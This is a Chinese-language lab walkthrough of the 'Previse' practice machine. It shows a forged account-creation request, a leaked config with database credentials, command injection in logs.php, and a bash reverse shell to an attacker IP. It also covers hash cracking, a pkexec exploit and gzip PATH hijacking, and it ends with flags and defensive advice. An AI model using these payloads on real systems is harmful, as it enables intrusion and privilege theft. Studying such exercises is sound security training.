[Meachines] [Easy] Previse EAR+Php files analysis RCE+TRP00F权限提升+Gzip路径劫持权限提升
字数 1112 2025-08-22 12:23:36

Previse 渗透测试教学文档

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.11.104
  • 扫描确认目标在线状态:
ip='10.10.11.104'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"

1.2 端口扫描

使用masscan进行快速端口扫描:

ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')

发现开放端口:

  • 22/tcp: OpenSSH 7.6p1 Ubuntu
  • 80/tcp: Apache httpd 2.4.29 (Ubuntu)

1.3 Web服务枚举

使用feroxbuster进行目录扫描:

feroxbuster -u 'http://10.10.11.104' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

2. Web应用分析

2.1 发现关键文件

  • 登录页面: login.php
  • 导航页面: nav.php
  • 账户管理: accounts.php
  • 日志页面: logs.php
  • 文件下载: download.php

2.2 账户创建漏洞

通过分析accounts.php发现可创建用户:

POST /accounts.php HTTP/1.1
Host: 10.10.11.104
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

username=maptnh&password=maptnh&confirm=maptnh&submit=

2.3 文件下载漏洞

通过download.php下载网站备份:

http://10.10.11.104/download.php?file=32

解压后获得siteBackup.zip,包含logs.phpconfig.php

2.4 配置文件泄露

config.php包含数据库凭据:

username: root
password: mySQL_p@ssw0rd!:)

3. 远程代码执行(RCE)

3.1 通过logs.php执行命令

POST /logs.php HTTP/1.1
Host: 10.10.11.104
Content-Length: 30

delim=;ping -c 1 10.10.16.28

3.2 获取初始shell

使用反向shell payload:

delim=;bash -c 'bash -i >& /dev/tcp/10.10.16.28/4444 0>&1'

4. 横向移动

4.1 数据库访问

使用泄露的凭据连接MySQL:

mysql -u root -p'mySQL_p@ssw0rd!:)'

4.2 提取账户哈希

查询accounts表获取密码哈希:

select * from accounts;

示例哈希: $1$xxxllol$DQpmdvnb7EeuO6UaqRItf.

4.3 哈希破解

使用John the Ripper破解:

john hash --wordlist=/home/maptnh/Desktop/rockyou.txt --format=md5crypt-long

破解结果: ilovecody112235!

5. 权限提升

5.1 TRP00F漏洞利用

使用trp00f工具进行提权:

python3 trp00f.py --lhost 10.10.16.28 --lport 10000 --rhost 10.10.16.28 --rport 10032 --http 9999

选择利用pkexec漏洞(y)

5.2 Gzip路径劫持

  1. 修改PATH环境变量:
export PATH=/tmp:$PATH
  1. 创建恶意gzip:
echo -e '#!/bin/bash\n/bin/bash'>/tmp/gzip
chmod +x /tmp/gzip
  1. 执行特权脚本:
sudo /opt/scripts/access_backup.sh

6. 标志获取

  • 用户标志(User.txt): 62f7407560ca5d003a6fd3a917ec8bdf
  • 根标志(Root.txt): 440aff1f3d4da77970e98a9dc5257cfd

7. 关键总结

  1. 信息收集: 全面扫描发现开放服务
  2. Web枚举: 发现文件下载和账户创建功能
  3. 配置泄露: 通过文件下载获取数据库凭据
  4. RCE利用: 通过日志功能注入命令
  5. 横向移动: 数据库查询获取更多凭据
  6. 权限提升: 结合TRP00F和路径劫持技术

8. 防御建议

  1. 限制文件下载功能
  2. 加强输入验证,防止命令注入
  3. 配置文件不应存储在web目录
  4. 使用最小权限原则运行服务
  5. 定期更新系统修补已知漏洞
  6. 监控PATH环境变量修改行为
Previse 渗透测试教学文档 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.11.104 扫描确认目标在线状态: 1.2 端口扫描 使用masscan进行快速端口扫描: 发现开放端口: 22/tcp: OpenSSH 7.6p1 Ubuntu 80/tcp: Apache httpd 2.4.29 (Ubuntu) 1.3 Web服务枚举 使用feroxbuster进行目录扫描: 2. Web应用分析 2.1 发现关键文件 登录页面: login.php 导航页面: nav.php 账户管理: accounts.php 日志页面: logs.php 文件下载: download.php 2.2 账户创建漏洞 通过分析 accounts.php 发现可创建用户: 2.3 文件下载漏洞 通过 download.php 下载网站备份: 解压后获得 siteBackup.zip ,包含 logs.php 和 config.php 2.4 配置文件泄露 config.php 包含数据库凭据: 3. 远程代码执行(RCE) 3.1 通过logs.php执行命令 3.2 获取初始shell 使用反向shell payload: 4. 横向移动 4.1 数据库访问 使用泄露的凭据连接MySQL: 4.2 提取账户哈希 查询accounts表获取密码哈希: 示例哈希: $1$xxxllol$DQpmdvnb7EeuO6UaqRItf. 4.3 哈希破解 使用John the Ripper破解: 破解结果: ilovecody112235! 5. 权限提升 5.1 TRP00F漏洞利用 使用trp00f工具进行提权: 选择利用pkexec漏洞(y) 5.2 Gzip路径劫持 修改PATH环境变量: 创建恶意gzip: 执行特权脚本: 6. 标志获取 用户标志(User.txt): 62f7407560ca5d003a6fd3a917ec8bdf 根标志(Root.txt): 440aff1f3d4da77970e98a9dc5257cfd 7. 关键总结 信息收集 : 全面扫描发现开放服务 Web枚举 : 发现文件下载和账户创建功能 配置泄露 : 通过文件下载获取数据库凭据 RCE利用 : 通过日志功能注入命令 横向移动 : 数据库查询获取更多凭据 权限提升 : 结合TRP00F和路径劫持技术 8. 防御建议 限制文件下载功能 加强输入验证,防止命令注入 配置文件不应存储在web目录 使用最小权限原则运行服务 定期更新系统修补已知漏洞 监控PATH环境变量修改行为